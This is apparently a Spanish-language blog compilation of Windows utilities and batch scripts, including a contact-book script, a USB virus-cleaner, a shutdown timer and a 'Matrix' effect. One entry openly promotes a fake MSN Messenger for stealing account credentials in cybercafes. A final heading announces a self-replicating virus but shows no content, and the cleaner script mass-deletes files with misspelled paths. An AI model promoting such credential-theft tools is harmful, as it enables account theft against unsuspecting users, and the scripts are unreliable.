UXTHEME MULTI-PATCHER

La solución se llama UXTheme Multi-Patcher. Esta utilidad sirve para poder aplicar todo tipo de estilos visuales, sin necesidad de instalar ningún otro programa.

Compatibilidad. A diferencia de otros parches similares, que sólo servían para una determinada versión (con SP1, sin, con SP2…), UXTheme Multi-Patcher detecta qué instalación tienes en tu PC y aplica el parche oportuno. Es compatible con Windows XP/SP1/SP2/SP3 y Windows Server 2003 SP1.



UNIVERSAL EXTRACTOR

Universal Extractor es un programa que en teoría debería extraer archivos desde cualquier fichero, no solo de los comprimidos como ZIP, sino de los programas de instalación o incluso de un paquete de Windows Installer (MSI).

Con todo, Universal Extractor no tiene la intención de sustituir a los programas de descompresión habituales como WinRar u otros.

Por tanto, esta utilidad se ubica mejor entre las herramientas recomendables para todos aquellos usuarios avanzados que deseen extraer archivos de los paquetes de instalación sin recurrir a múltiples líneas de comando.

Al principio del texto dijimos “en teoría” y es que Universal Extractor no es tan “universal” ni “extrae” todo lo que debería. Incluso así, te puede ahorrar trabajo.



TOTAL UNISTALL 5.6.0

Con Total Uninstall puedes estar completamente informado sobre los cambios que se hayan producido en tu sistema durante un proceso de instalación, y además realizar una desinstalación completa y totalmente "limpia".

De esta forma te aseguras de que no quedan rastros inútiles en el PC: ficheros que no se usan, carpetas vacías, claves de Registro no válidas y toda una serie de elementos que pueden llegar a acumularse "robando" mucho espacio en disco y poniendo en peligro la estabilidad del sistema.

Para usarlo, no tienes más que ejecutar la instalación del programa en concreto desde Total Uninstall y marcar las áreas que desees vigilar. Total Uninstall guarda imágenes del sistema de antes y de después de la instalación, para luego poder compararlas y marcar los correspondientes cambios.

De esta forma, si decides desinstalar el software, tendrías la seguridad de que se deshacen todos los cambios y se vuelve al estado previo del sistema.



PERSONALIZA TU PAGINA DE INTERNET

Personaliza la pagina de inicio de internet con Funnylogo. Quizas para muchas personas este truco ya esta choteado (muy visto, pero quizas hayan personas que no saben nada de esto y les gusta aprender. Aun que no se necesita mucha inteligencia, jaja, bueno
Entramos a la pagina de
http://funnylogo.info/create.asp
Y en la primera parte mencionada como muestra la imagen, Escribimos cualquier palabra, la que gustemos:



Despues elejimos el estilo que mas nos guste, dando clic en la casilla que esta alado:



Clickeamos el boton "Create My Search Engine"



En este punto ya hemos creado nuestro logo quedando asi:



Copiamos la URL, que nos manda la misma pagina y la Guardamos como Pagina de Inicio.

¡LISTO!

LOGON DE WINDOWS 7

Personaliza la pantalla incial de Windows 7.

Windows 7 Logon Screen Editor es un programa que se basa para cambiar el logo la parte en donde pide Usuario y Contraseña de Windows 7, es sencillo de usar, ya que te da opciones, de regresar al logo anterior, Nueva Imagen y probar la Imagen que usaremos.

Simplemente se aplica para ver los cambios efectuados.

El programa tiene otras cosillas mas.

NO AY IMAGEN?? :(





BUTTON CHANGER + ORBS

Con este Soft podran cambiar el boton de Windows 7 de una manera facil y rapida.
Solo instala el programa que esta agregado en el pack y busca los botones que estan agregados en la misma carpeta.
Se le agregaron mas botones para tener mas personalizaciones, aca les dejo una imagen de los botones recientes. Espero y le suste



Portable PhotoScape

PhotoScape es un completo entorno de edición con las funciones y herramientas necesarias para visualizar imágenes, crear fotomontajes, impresiones y realizar conversiones de formatos.

Concretamente, PhotoScape incluye un visor de imágenes con modo presentación, un editor para ajustar niveles de brillo, color o contraste; un editor de marcos y máscaras para embellecer tus fotos, y una serie de herramientas que te ayudarán a maquetar imágenes, corregir ojos rojos, aplicar filtros y otros efectos.
PhotoScape se organiza por pestañas. Así pues, además del visor y del editor de fotos, verás el procesador (que es un editor alternativo) y pestañas para componer las imágenes en mosaicos, murales, GIF animados u hojas de contacto listas para ser impresas.

La velocidad es uno de los rasgos destacados de PhotoScape: se ejecuta en pocos segundos y aplica cada operación en un tiempo muy reducido. Comparado con PhotoShop, PhotoScape es muchísimo más rápido, aunque también es cierto que sus funciones son mucho más limitadas.



Cambios recientes en PhotoScape:
Soporte para 27 idiomas
Añadida función para imprimir en papel de varios formatos
Soporte para resoluciones de netbook (1024x600)
Ventana de inicio retocada
Función DPI mejorada
Añadidos
nuevos filtros y frames
Añadidos nuevos iconos
Correcciones

Sistema operativo: Win98/98SE/Me/2000/NT/XP/Vista/7

MESSENGER FALSO 2009 v1.2

Soft, descargado de http://foro.latinohack.com/, este Programa consiste en extraer el Nombre del correo y Contraseña, ideal para robar cuentas de un Cyber Cafe, o alguien mas que use tu PC.
Dentro del programa se encuentra las instrucciones Echo por el mismo Autor del Fake
.:WindHack:.

Aca una imagen del Messenger Falso, como veran es casi igual al verdadero, hagan ustedes mismos sus comparaciones. XD




NOTEPAD++ 5.8.2 MULTILENGUAJE

Notepad++ es un editor de texto y de código fuente libre con soporte para varios lenguajes de programación para Microsoft Windows.

Gracias a su velocidad, puede convertirse en una alternativa al bloc de notas. Con la implementación de navegación por pestañas, moverse entre los archivos de texto abiertos es más cómodo.

Aunque Scintilla no permite la búsqueda y reemplazo de expresiones regulares múltiples, Notepad++ permite el uso de complementos que ayudan a mitigar este hecho.


Se distribuye bajo los términos de la Licencia Pública General de GNU.


Características
Coloreado y envoltura de sintaxis.
WYSIWYG.
Autocompletado.
Multidocumento (pestañas).
Multivista.
Soporte para buscar/reemplazar. Permite el uso de expresiones regulares.
Soporte completo para "arrastrar y colocar".
Posición dinámica de las vistas.
Detención automática del estado del documento.
Herramienta de zoom.
Funcionamiento bajo entornos plurilingües.
Puntos de marca.
Resaltado de paréntesis e indentación.
Grabación y reproducción de macros.
Soporte de extensiones (incluye algunas por defecto).
[editar] Lenguajes soportados
Ada
ASP
ASM Ensamblador
AutoIt
Batch
C
C#
C++
Caml
CMake
COBOL
CSS
D
Diff
Flash ActionScript
Fortran
Gui4Cli
Haskell
HTML
INNO
Java
JavaScript
JSP
KiXtart
Lisp
Lua
Makefile
MATLAB
MS INI (archivo)
NSIS
Objective-C
Pascal
Perl
PHP
PostScript
PowerShell
Properties
Python
R
RC (fichero de recurso)
Ruby
Shell
Scheme
Smalltalk
SQL
Tcl
TeX
VB
VHDL
Verilog
XML
YAML
Además, permite al usuario definir su propio lenguaje: no sólo las palabras clave para la sintaxis coloreada, sino también las palabras clave para la envoltura de sintaxis, los comentarios clave y los operadores.


Sistemas: Operativos: Windows XP, Windows Vista, Windows Seven

NOTEPAD 2

Notepad2 es editor de texto de código abierto para Microsoft Windows, lanzado bajo la licencia de software GNU GPL. Es escrito por Florian Balmer usando el componente de editor Scintilla, y su primera versión pública fue lanzada en abril de 2004. Balmer basó Notepad2 en el principio del bloc de notas de Microsoft: pequeño, rápido y sin "flecos".

Características
Ofrece resaltado de sintaxis para los lenguajes de programación siguientes: ASP, lenguaje ensamblador, C, C++, C#, CGI, CSS, HTML, Java, JavaScript, NSIS, Pascal, Perl, PHP, Python, SQL, VB, VBScript, XHTML y XML. También ofrece resaltado de sintaxis para los formatos de archivos siguientes: BAT, DIFF, INF, INI y REG.

Notepad2 también tiene algunas otras características:

búsqueda y reemplazo basado en regex
codificación de caracteres entre los formatos ASCII, UTF-8 y UTF-16
conversión de nueva línea entre los formatos de DOS (CR/LF), Unix (LF) y Mac (CR)
undo/redo múltiple
selección de bloque rectangular
emparejamiento de paréntesis
auto indentación
Balmer ha indicado que probablemente algunas características nunca serán implementadas en Notepad2, ya que están más allá de su meta de diseño de una simple aplicación similar al Notepad. Éstas incluyen la más solicitada característica para el Notepad2, una interface de múltiple documento (MDI).



Sistemas Operativos: Windows XP, Windows Vista, Windows Seven

MANUAL DE PROGRAMACION EN BATCH POR DHYABLO

Despues de tanto buscar este Magnifico Tutorial y como dice la descripcion Recopilaciones de Paginas Importantes. Les traigo en Formato .PDF ya que en lo tenia en Word pero se me habia dañado. Bueno lo que sigue es una pequeña Introduccion de el Autor de este Tutorial DHYABLO

El siguiente manual de programación en batch consiste en una gran recopilación de diversos tutoriales y codigos posteados en los foros de portalhacker, el hacker.net, el-hacker.com y hacker array, que servira como guia para aquellos que se interesen en la programación bat.
PD: Espero que todos los autores de los tutoriales y codigos aquí recopilados no se molesten.



AGENDA

Agenda creada en el lenguaje Batch, para que puedas logearte, configurar tu usuario o eliminar cierta cuenta, Creada por Maestro Html

@echo off
rem TODOS LO DERECHOS RESERVADOS
title Agenda 1.0 by Maestro Html * TODOS LOS DERECHOS RESERVADOS
:comprov1
if exist "%homedrive%\agenda_data" goto comprov1ok
if not exist "%homedrive%\agenda_data" goto comprov1fail

:comprov1fail
mkdir "%homedrive%\agenda_data"
attrib +h "%homedrive%\agenda_data"
goto comprov2

:comprov1ok
goto comprov2

:comprov2
if exist "%homedrive%\agenda_data\usuarios" goto comprov2ok
if not exist "%homedrive%\agenda_data\usuarios" goto comprov2fail

:comprov2fail
mkdir "%homedrive%\agenda_data\usuarios"
attrib +h "%homedrive%\agenda_data\usuarios"
goto register1

:comprov2ok
goto menu1

:register1
title Registrar usuario
cls
set /p nombreuser= Cual sera tu nombre?
cls
set /p passuser= Cual sera tu password?
cls
mkdir "%homedrive%\agenda_data\usuarios\%nombreuser%"
mkdir "%homedrive%\agenda_data\usuarios\%nombreuser%\pass_%passuser%"
attrib +h "%homedrive%\agenda_data\usuarios\%nombreuser%"
attrib +h "%homedrive%\agenda_data\usuarios\%nombreuser%\pass_%passuser%"
mkdir "%homedrive%\agenda_data\usuarios\%nombreuser%\admin"
attrib +h "%homedrive%\agenda_data\usuarios\%nombreuser%\admin"
cls
echo Como eres el primer usuario de la agenda seras el administrador.
echo El administrador es el unico que puede acceder a la configuracion de la agenda
pause
goto menu1

:menu1
title Agenda 1.0 by Maestro Html * TODOS LOS DERECHOS RESERVADOS
cls
echo 1.Log In
echo 2.Configuracion agenda
echo 3.Registrarse
echo 4.Salir
set /p menu1= Que quieres hacer? (pon el numero correspondiente)
if %menu1%==1 goto login
if %menu1%==2 goto config
if %menu1%==3 goto register
if %menu1%==4 exit
cls
echo Opcion no valida
pause
goto menu1

:login
title Login
cls
set /p userlogin= Usuario:
cls
set /p userpass= Password:
cls
goto comprov3

:comprov3
if exist "%homedrive%\agenda_data\usuarios\%userlogin%" goto comprov3ok
if not exist "%homedrive%\agenda_data\usuarios\%userlogin%" goto comprov3fail

:comprov3fail
cls
echo Ese usuario no existe...
echo Pero puedes registrarlo en el menu
pause
goto menu1

:comprov3ok
cls
if exist "%homedrive%\agenda_data\usuarios\%userlogin%\pass_%userpass%" goto menuuser
if not exist "%homedrive%\agenda_data\usuarios\%userlogin%\pass_%userpass%" goto comprov3fail

:comprov3fail
cls
echo Password incorrecto
pause
goto menu1

:menuuser
title Bienvenido %userlogin%
cls
echo Bienvenido %userlogin%
echo 1.Agregar contacto
echo 2.Ver contacto
echo 3.Borrar contacto
echo 4.Salir
set /p menuuser= Que quieres hacer? (pon el numero correspondiente)
if %menuuser%==1 goto agregar
if %menuuser%==2 goto ver
if %menuuser%==3 goto borrar
if %menuuser%==4 goto menu1
cls
echo Opcion no valida
pause
goto menuuser

:agregar
title Agregar contacto
cls
set /p nombrecont= Nombre:
cls
set /p apellido1cont= Primer Apellido:
cls
set /p apellido2cont= Segundo Apellido:
cls
set /p email= E-mail:
cls
set /p telefono= Telefono:
cls
set /p observaciones= Observaciones / datos adicionales:
cls
cd "%homedrive%\agenda_data\usuarios\%userlogin%"
echo Nombre: %nombrecont% >> %nombrecont%.txt
echo Primer apellido: %apellido1cont% >> %nombrecont%.txt
echo Segundo apellido: %apellido2cont% >> %nombrecont%.txt
echo E-mail: %email% >> %nombrecont%.txt
echo Telefono: %telefono% >> %nombrecont%.txt
echo Observaciones / datos adicionales: %observaciones% >> %nombrecont%.txt
cls
echo Contacto agregado!
pause
goto menuuser

:ver
cls
title Ver contacto
set /p contacto= Introduzca el nombre de pila del contacto:
cls
cd "%homedrive%\agenda_data\usuarios\%userlogin%"
type %contacto%.txt
pause
goto menuuser

:borrar
cls
title Borrar contacto
set /p contacto= Introduzca el nombre de pila del contacto:

:borrarcon
cls
set /p confirmacion= Esta seguro de que que quiere borrar a %contacto%? (s/n)
if %confirmacion%==s goto borrarsi


if %confirmacion%==n goto menuuser
cls
echo Solo introduzca s o n
pause
goto borrarcon

:borrarsi
erase "%homedrive%\agenda_data\usuarios\%userlogin%\%contacto%.txt"
cls
echo El contacto %contacto% ha sido borrado.
pause
goto menuuser

:config
cls
echo Aqui solo pueden entrar administradores
set /p userlogin= Usuario:
cls
echo Aqui solo pueden entrar administradores
set /p userpass= Password:
cls

:comprov4
if exist "%homedrive%\agenda_data\usuarios\%userlogin%" goto comprov4ok
if not exist "%homedrive%\agenda_data\usuarios\%userlogin%" goto comprov4fail

:comprov4fail
cls
echo Ese usuario no existe...
pause
goto menu1

:comprov4ok
cls
if exist "%homedrive%\agenda_data\usuarios\%userlogin%\pass_%userpass%" goto comprov5
if not exist "%homedrive%\agenda_data\usuarios\%userlogin%\pass_%userpass%" goto comprov4fail

:comprov4fail
cls
echo Password incorrecto
pause
goto menu1

:comprov5
if exist "%homedrive%\agenda_data\usuarios\%userlogin%\admin" goto menuadmin
if not exist "%homedrive%\agenda_data\usuarios\%userlogin%\admin" goto comprov5fail

:comprov5fail
cls
echo Tu no eres administrador! Solo los administradores pueden acceder aqui!
pause
goto menu1

:menuadmin
title Bienvenido %userlogin%
cls
echo Bienvenido %userlogin%
echo 1.Ver usuarios
echo 2.Eliminar usuarios
echo 3.Eliminar agenda
echo 4.Salir
set /p menuadmin= Que quieres hacer? (pon el numero correspondiente)
if %menuadmin%==1 goto verusers
if %menuadmin%==2 goto eliminarusers
if %menuadmin%==3 goto eliminaragenda
if %menuadmin%==4 goto menu1
cls
echo Opcion no valida
pause
goto menuadmin

:verusers
cls
title Ver usuarios
cd "%homedrive%\agenda_data\usuarios\"
echo Abajo se mostraran los usuarios en la columna mas a la derecha
dir /a:d
pause
goto menuadmin

:eliminarusers
title Eliminar usuarios
cls
set /p usuario= Que usuario quiere eliminar?
:eliminaruserscon
cls
set /p confirmacion= Esta seguro de que que quiere borrar a %usuario%? (s/n)
if %confirmacion%==s goto eliminarusersi
if %confirmacion%==n goto menuadmin
cls
echo Solo introduzca s o n
pause
goto eliminaruserscon

:eliminarusersi
cls
if not exist "%homedrive%\agenda_data\usuarios\%usuario%" goto noexiste
attrib -h "%homedrive%\agenda_data\usuarios\%usuario%"
rd "%homedrive%\agenda_data\usuarios\%usuario%" /S /Q
cls
echo El usuario %usuario% ha sido borrado.
pause
goto menuadmin

:noexiste
cls
echo Ese usuario no existe
pause
goto menuadmin

:eliminaragenda
title Eliminar agenda
cls
echo ATENCION! Si elimina la agenda se eliminaran todos los usuarios, incluso el administrador
set /p confirmacion= Esta seguro de que que quiere borrar la agenda? (s/n)
if %confirmacion%==s goto eliminaragendasi
if %confirmacion%==n goto menuadmin
cls
echo Solo introduzca s o n
pause
goto eliminaragenda

:eliminaragendasi
cls
attrib -h "%homedrive%\agenda_data"
rd "%homedrive%\agenda_data" /S /Q
cls
echo La agenda ha sido borrada.
pause
exit

:register
title Registrar usuario
cls
set /p nombreuser= Cual sera tu nombre?
cls
set /p passuser= Cual sera tu password?
cls
mkdir "%homedrive%\agenda_data\usuarios\%nombreuser%"
mkdir "%homedrive%\agenda_data\usuarios\%nombreuser%\pass_%passuser%"
attrib +h "%homedrive%\agenda_data\usuarios\%nombreuser%"
cls
echo Ahora ya puedes loguearte
pause
goto menu1

QUITAR VIRUS USB

Script para eliminar algunos virus que se encuentra en la PC, leer con cuidado la primera las instrucciones. "Lo encontre navegando por la Web" XD

@ECHO OFF
COLOR 72
echo ------------------------------------------------------------
echo \ QUITAR VIRUS /
echo / Este programa sirve para borrar VIRUS \
echo \ que esta infectando todos los computadores de la U. /
echo / Este lo borrara de los discos duros y de las USB que \
echo \ estan conectadas. /
echo / \
echo \ SE RECOMIENDA EJECUTAR ESTE PROGRAMA ANTES Y DESPUES /
echo / DE CONECTAR UN NUEVO DISPOSITIVO USB. \
echo ------------------------------------------------------------
echo.
:ELECCION
set /p userinp=Escriba S si desea comenzar o N si desea salir . . .
set userinp=%userinp:~0,1%
if "%userinp%"=="n" goto SALIR
if "%userinp%"=="N" goto SALIR
if "%userinp%"=="s" goto EMPEZAR
if "%userinp%"=="S" goto EMPEZAR
goto :ELECCION
:EMPEZAR
echo.
echo Borrando virus . . .
echo se recomienda antes de pasar este antivirus cambiar el nombre de la cuenta de inicio de secion a "administrador" sin comillas
erase C:\autorun.inf
erase C:\Windows\sytem32\autorun.inf
erase C:\Windows\autorun.inf
erase A:\autorun.inf
erase B:\autorun.inf
erase F:\autorun.inf
erase G:\autorun.inf
erase H:\autorun.inf
erase I:\autorun.inf
erase C:\Downadup@VULN.exe
erase C:\Windows\sytem32\Downadup@VULN.exe
erase C:\Windows\sytem32\Downadup@VULN.dll
erase C:\Windows\sytem32\Downadup@VULN.cmd
erase C:\Windows\sytem32\Downadup@VULN.scr
erase C:\Windows\sytem32\Conficker.A.exe
erase C:\Windows\sytem32\Conficker.A.dll
erase C:\Windows\sytem32\Foto_Celular.scr
erase C:\Windows\sytem32\Foto_Celular.zip
erase C:\Windows\sytem32\Foto_Posse.zip
erase C:\Windows\sytem32\Bush.exe
erase C:\Windows\sytem32\Desnuda.exe
erase C:\Windows\sytem32\F0538_jpg.zip
erase C:\Windows\sytem32\Facebook.zip
erase C:\Windows\sytem32\facebookfoto.zip
erase C:\Windows\sytem32\Fotos.zip - Fotos roberto.exe
erase C:\Windows\sytem32\fotopara-facebook.com.zip
erase C:\Windows\sytem32\fotopara*-facebook.com.zip
erase C:\Windows\sytem32\fotopara-facebook*.com.zip
erase C:\Windows\sytem32\fotos-facebook.com.zip
erase C:\Windows\sytem32\fotosfacebook*.com.zip
erase C:\Windows\sytem32\fotoparamyspace.com.zip
erase C:\Windows\sytem32\Happy2008.zip
erase C:\Windows\sytem32\imag091307.zip
erase C:\Windows\sytem32\ image.zip
erase C:\Windows\sytem32\ imageXX.zip
erase C:\Windows\sytem32\IMG-XXXX.zip
erase C:\Windows\sytem32\img4851.zip
erase C:\Windows\sytem32\IMG-0024.zip
erase C:\Windows\sytem32\IMG0024.zip
erase C:\Windows\sytem32\misfacebook.com.zip
erase C:\Windows\sytem32\mispicturas.zip
erase C:\Windows\sytem32\MessengerSkinner .zip
erase C:\Windows\sytem32\MSN Content Plus .zip
erase C:\Windows\sytem32\MSN Messenger Guiños.zip
erase C:\Windows\sytem32\My_Pictures2007
erase C:\Windows\sytem32\MyGallery5156.zip
erase C:\Windows\sytem32\myspace-pics.zip
erase C:\Windows\sytem32\N039_jpg.zip
erase C:\Windows\sytem32\Nokia_19_jpg.zip
erase C:\Windows\sytem32\myimage.zip
erase C:\Windows\sytem32\new-photos.zip
erase C:\Windows\sytem32\New-Year2008-imgaes.zip
erase C:\Windows\sytem32\NewYearsParty.zip
erase C:\Windows\sytem32\p0017_jpg.zip
erase C:\Windows\sytem32\Photos-webcam2007.zip
erase C:\Windows\sytem32\picts-XXXX.zip
erase C:\Windows\sytem32\PictureAlbum2007.zip
erase C:\Windows\sytem32\ portaldeayuda.zip
erase C:\Windows\sytem32\S_00305_jpg.zip
erase C:\Windows\sytem32\W139_jpg.zip
erase C:\Windows\sytem32\Winks Instalador.exe
erase C:\Windows\sytem32\Z058_jpg.zip
erase C:\Windows\sytem32\Image-006.JPEG_www.myspace.com
erase C:\Windows\sytem32\img2007-12.JPEG.scr
erase C:\Windows\sytem32\image114.JPG-scannedby-MSN.com
erase C:\Windows\sytem32\misfacebook.com.zip
erase C:\Windows\sytem32\myspace-pics.zip
erase C:\Windows\sytem32\Happy2008-Card.com
erase C:\Windows\sytem32\picture_004-new4myspace.JPEG-scan
erase C:\Windows\sytem32\New-year2008-image15.scr
erase C:\Windows\sytem32\image134.jpg-www.photoshare.com
erase C:\Windows\sytem32\Image-005.JPEG_escudrinado-MSN.com
erase C:\Windows\sytem32\New-Year2008-imgaes.zip
erase C:\Windows\sytem32\new-photos.zip
erase C:\Windows\sytem32\santasuite.jpg.exe
erase C:\Windows\sytem32\MenssagemAnoNovo.exe
erase C:\Windows\sytem32\LechucK.exe
erase C:\Windows\sytem32\Feliz_Natal.exe
erase C:\Windows\Conficker.A.dll
erase C:\Windows\Foto_Celular.scr
erase C:\Windows\Foto_Celular.zip
erase C:\Windows\Foto_Posse.zip
erase C:\Windows\Bush.exe
erase C:\Windows\Desnuda.exe
erase C:\Windows\F0538_jpg.zip
erase C:\Windows\Facebook.zip
erase C:\Windows\facebookfoto.zip
erase C:\Windows\Fotos.zip - Fotos roberto.exe
erase C:\Windows\fotopara-facebook.com.zip
erase C:\Windows\fotos-facebook.com.zip
erase C:\Windows\fotoparamyspace.com.zip
erase C:\Windows\Happy2008.zip
erase C:\Windows\imag091307.zip
erase C:\Windows\image.zip
erase C:\Windows\ imageXX.zip
erase C:\Windows\IMG-XXXX.zip
erase C:\Windows\img4851.zip
erase C:\Windows\IMG-0024.zip
erase C:\Windows\IMG0024.zip
erase C:\Windows\misfacebook.com.zip
erase C:\Windows\mispicturas.zip
erase C:\Windows\MessengerSkinner .zip
erase C:\Windows\MSN Content Plus .zip
erase C:\Windows\MSN Messenger Guiños.zip
erase C:\Windows\My_Pictures2007
erase C:\Windows\MyGallery5156.zip
erase C:\Windows\myspace-pics.zip
erase C:\Windows\N039_jpg.zip
erase C:\Windows\Nokia_19_jpg.zip
erase C:\Windows\myimage.zip
erase C:\Windows\new-photos.zip
erase C:\Windows\New-Year2008-imgaes.zip
erase C:\Windows\NewYearsParty.zip
erase C:\Windows\p0017_jpg.zip
erase C:\Windows\Photos-webcam2007.zip
erase C:\Windows\picts-XXXX.zip
erase C:\Windows\PictureAlbum2007.zip
erase C:\Windows\portaldeayuda.zip
erase C:\Windows\S_00305_jpg.zip
erase C:\Windows\W139_jpg.zip
erase C:\Windows\Winks Instalador.exe
erase C:\Windows\Z058_jpg.zip
erase C:\Windows\Image-006.JPEG_www.myspace.com
erase C:\Windows\img2007-12.JPEG.scr
erase C:\Windows\image114.JPG-scannedby-MSN.com
erase C:\Windows\misfacebook.com.zip
erase C:\Windows\myspace-pics.zip
erase C:\Windows\Happy2008-Card.com
erase C:\Windows\picture_004-new4myspace.JPEG-scan
erase C:\Windows\New-year2008-image15.scr
erase C:\Windows\image134.jpg-www.photoshare.com
erase C:\Windows\Image-005.JPEG_escudrinado-MSN.com
erase C:\Windows\New-Year2008-imgaes.zip
erase C:\Windows\new-photos.zip
erase C:\Windows\santasuite.jpg.exe
erase C:\Windows\MenssagemAnoNovo.exe
erase C:\Windows\LechucK.exe
erase C:\Windows\Feliz_Natal.exe
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosConficker.A.dll
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosFoto_Celular.scr
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosFoto_Celular.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosFoto_Posse.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosBush.exe
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosDesnuda.exe
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosF0538_jpg.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosFacebook.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosfacebookfoto.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosFotos.zip - Fotos roberto.exe
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosfotopara-facebook.com.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosfotopara*-facebook.com.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosfotopara-facebook*.com.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosfotos-facebook.com.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosfotosfacebook*.com.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosfotoparamyspace.com.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosHappy2008.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosimag091307.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosimage.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidos imageXX.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosIMG-XXXX.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosimg4851.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosIMG-0024.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosIMG0024.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosmisfacebook.com.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosmispicturas.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosMessengerSkinner .zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosMSN Content Plus .zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosMSN Messenger Guiños.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosMy_Pictures2007
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosMyGallery5156.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosmyspace-pics.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosN039_jpg.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosNokia_19_jpg.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosmyimage.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosnew-photos.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosNew-Year2008-imgaes.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosNewYearsParty.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosp0017_jpg.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosPhotos-webcam2007.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidospicts-XXXX.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosPictureAlbum2007.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosportaldeayuda.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosS_00305_jpg.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosW139_jpg.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosWinks Instalador.exe
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosZ058_jpg.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosImage-006.JPEG_www.myspace.com
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosimg2007-12.JPEG.scr
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosimage114.JPG-scannedby-MSN.com
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosmisfacebook.com.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosmyspace-pics.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosHappy2008-Card.com
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidospicture_004-new4myspace.JPEG-scan
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosNew-year2008-image15.scr
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosimage134.jpg-www.photoshare.com
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosImage-005.JPEG_escudrinado-MSN.com
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosNew-Year2008-imgaes.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosnew-photos.zip
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidossantasuite.jpg.exe
erase C:\Windows\MenssagemAnoNovo.exe
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidosW32 LechucK.exe
erase C:\Documents and Settings\administrador\Mis documentos\Mis archivos recibidos\Feliz_Natal.exe
erase C:\windows\strad.exe
erase C:\windows\zser.exe
erase C:\windows\system32\xsfr.exe
erase C:\windows\system32\xeyu.exe

echo.
echo --------------------------------------------
echo.
echo Los virus fueron removidos exitosamente
echo Presione una tecla para continuar . . .
pause >nul
echo.
echo --------------------------------------------
echo.
echo Restaurando las opciones de autoarranque . . .
set /p RUTAUSB= Escriba la ruta donde se encuentra su USB (p.ej. escriba F:) . . .
set /p NOMBREUSB= Escriba un nombre para su USB . . .
echo [autorun] > %RUTAUSB%\autorun.inf
echo label=%NOMBREUSB% >> %RUTAUSB%\autorun.inf
attrib +S +H +R %RUTAUSB%\autorun.inf
echo.
echo --------------------------------------------
echo.
echo.
echo --------------------------------------------
echo.
echo Listo. Presione una tecla para salir . . .
pause >nul
msg * bat creador por El diablo infectado
:SALIR

APAGADOR AUTOMATICO

Sencillo Programa para que puedas programar el apagador automatico de tu PC

@echo off
REM HiiARA
COLOR 0A
set /p hrs=Minutos en que Deceas Apagar?:
SET /a mu=%hrs%*60
shutdown -s -t %mu% -c "Su PC se Apagara en %mu% Segundos, Equivalente a %hrs%Minutos Gracias Por Utilizar mi Programa ::HiiARA"

EFECTO MATRIX

Comandos que Hacen efecto Matrix, solo hay que hacer un Copy Y Paste a %ramdom
 
@echo off
color 02
:a
echo %random%%random%%random%
goto :a
DUPLIQUEN %random% PARA TENER MAS EFECTOS

VIRUS QUE SE AUTODUPLICA E INICIA JUNTO CON WINDOWS

